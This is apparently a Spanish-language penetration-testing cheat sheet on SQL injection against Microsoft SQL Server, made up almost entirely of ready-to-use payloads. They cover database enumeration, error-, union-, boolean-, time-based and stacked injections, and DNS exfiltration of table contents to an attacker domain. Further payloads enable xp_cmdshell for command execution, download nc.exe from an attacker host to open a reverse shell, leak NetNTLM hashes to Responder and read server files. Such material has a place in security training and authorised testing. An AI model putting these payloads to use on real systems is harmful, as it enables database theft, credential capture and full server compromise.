> For the complete documentation index, see [llms.txt](https://web.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://web.mrw0l05zyn.cl/explotacion/sql-injection-sqli/microsoft-sql-server.md).

# Microsoft SQL Server

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT @@version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT system_user
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Listado de base de datos
SELECT name FROM sys.databases
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de una base de datos
SELECT table_catalog,table_schema,table_name,table_type FROM <database>.information_schema.tables
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <database>.<schema>.<table>
SELECT * FROM <database>.dbo.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
cast(@@version as integer)
cast(@@servername as integer)
cast(db_name() as integer)
convert(int,(@@version))
convert(int,(@@servername))
convert(int,(db_name()))
```

### Bases de datos <a href="#error-based-sqli-bases-de-datos" id="error-based-sqli-bases-de-datos"></a>

```sql
cast((SELECT TOP 1 name FROM sys.databases) as integer)--
cast((SELECT TOP 1 name FROM sys.databases WHERE name NOT IN ('<database>')) as integer)--
```

### Tablas <a href="#error-based-sqli-tablas" id="error-based-sqli-tablas"></a>

```sql
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables) as integer)--
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables WHERE table_name NOT IN ('<table>')) as integer)--

# Esquema de tabla
cast((SELECT TOP 1 table_schema FROM <database>.information_schema.tables WHERE table_name='<table>') as integer)--
```

### Columnas <a href="#error-based-sqli-columnas" id="error-based-sqli-columnas"></a>

```sql
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>') as integer)--
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>' AND column_name NOT IN ('<column>')) as integer)--
```

### Datos <a href="#error-based-sqli-datos" id="error-based-sqli-datos"></a>

```sql
cast((SELECT <column> FROM <database>.<schema>.<table>) as integer)--
cast((SELECT <column> FROM <database>.dbo.<table>) as integer)--
cast((SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM <database>.<schema>.<table>) as integer)--
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1--
```

## Boolean-based SQLi

```sql
' AND 1=1--
```

## Time-based SQLi

```sql
WAITFOR DELAY '0:0:10'
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

## Stacked Queries SQLi <a href="#stacked-queries-sqli" id="stacked-queries-sqli"></a>

```sql
;SELECT @@version
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
```

## Out-of-band DNS

{% hint style="info" %}

* El largo máximo para un nombre de subdominio es 63 caracteres.
* El largo máximo para el nombre de dominio completo, incluyendo todos los subdominios y el dominio principal, no puede exceder los 253 caracteres en total.
  {% endhint %}

```sql
# master..xp_dirtree
DECLARE @Q varchar(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@Q+'.<domain-name>\\x"');--

# master..xp_fileexist
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@Q+'.<domain-name>\\x"');--

# master..xp_subdirs
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@Q+'.<domain-name>\\x"');--
DECLARE @Q VARCHAR(MAX);DECLARE @A VARCHAR(63);DECLARE @B VARCHAR(63);SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>;SELECT @A=SUBSTRING(@Q,3,63);SELECT @B=SUBSTRING(@Q,3+63,63);EXEC('master..xp_subdirs "\\'+@A+'.<domain-name>\x"');EXEC('master..xp_subdirs "\\'+@B+'.<domain-name>\x"');--

# sys.dm_os_file_exists
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@Q+'.<domain-name>\x');--

# fn_trace_gettable
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@Q+'.<domain-name>\x.trc',DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_trace_gettable('\\'+@A+'.'+@B+'.<domain-name>\x.trc',DEFAULT);--

# fn_get_audit_file
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@Q+'.<domain-name>\',DEFAULT,DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.<domain-name>\',DEFAULT,DEFAULT);--
```

## Remote Code Execution (RCE)

Verificación de permisos.

```sql
# General
IS_SRVROLEMEMBER('sysadmin');
# Boolean-based SQLi
' AND IS_SRVROLEMEMBER('sysadmin')=1;--
```

Habilitación de "advanced options".

```sql
# General
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

# SQLi
';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--
```

Habilitación de "xp\_cmdshell".

```sql
# General
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# SQLi
';EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
```

Ejecución remota de código.

```sql
# General
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami';

# Blind
EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';
';EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';--
## máquina atacante
sudo tcpdump -i <network-interface> icmp
```

### Reverse shell

Habilitación de servidor HTTP para compartir el archivo `nc.exe`.

```sh
python3 -m http.server <port>
```

Generación de payload.

```sh
python3 -c 'import base64; print(base64.b64encode((r"""(new-object net.webclient).downloadfile("http://<attacker-IP-address>/nc.exe", "c:\windows\tasks\nc.exe"); c:\windows\tasks\nc.exe -nv <attacker-IP-address> <listen-port> -e c:\windows\system32\cmd.exe;""").encode("utf-16-le")).decode())'
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Ejecución de reverse shell.

```sql
EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>'
';EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>';--
```

## Filtración de hashes NetNTLM

Ejecución de Responder en máquina atacante.

```sh
responder -I <interface>
```

Filtración de hashes NetNTLM.

```sql
# General
EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;

# SQLi
';EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;--
```

Cracking de hashes.

```sh
hashcat -m 5600 -a 0 hash.txt <path-wordlist>
```

## Lectura de archivos

Verificación de permisos.

```sql
# General
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';

# Boolean-based SQLi
' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--
```

Longitud de un archivo.

```sql
SELECT LEN(BulkColumn) FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) AS x
```

Lectura de archivo.

```sql
# General
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) AS x

# Error-based SQLi
' AND 1=CAST((SELECT TOP 1 BulkColumn FROM OPENROWSET(BULK 'C:\\Windows\\win.ini', SINGLE_CLOB) AS x) AS INTEGER)--
```
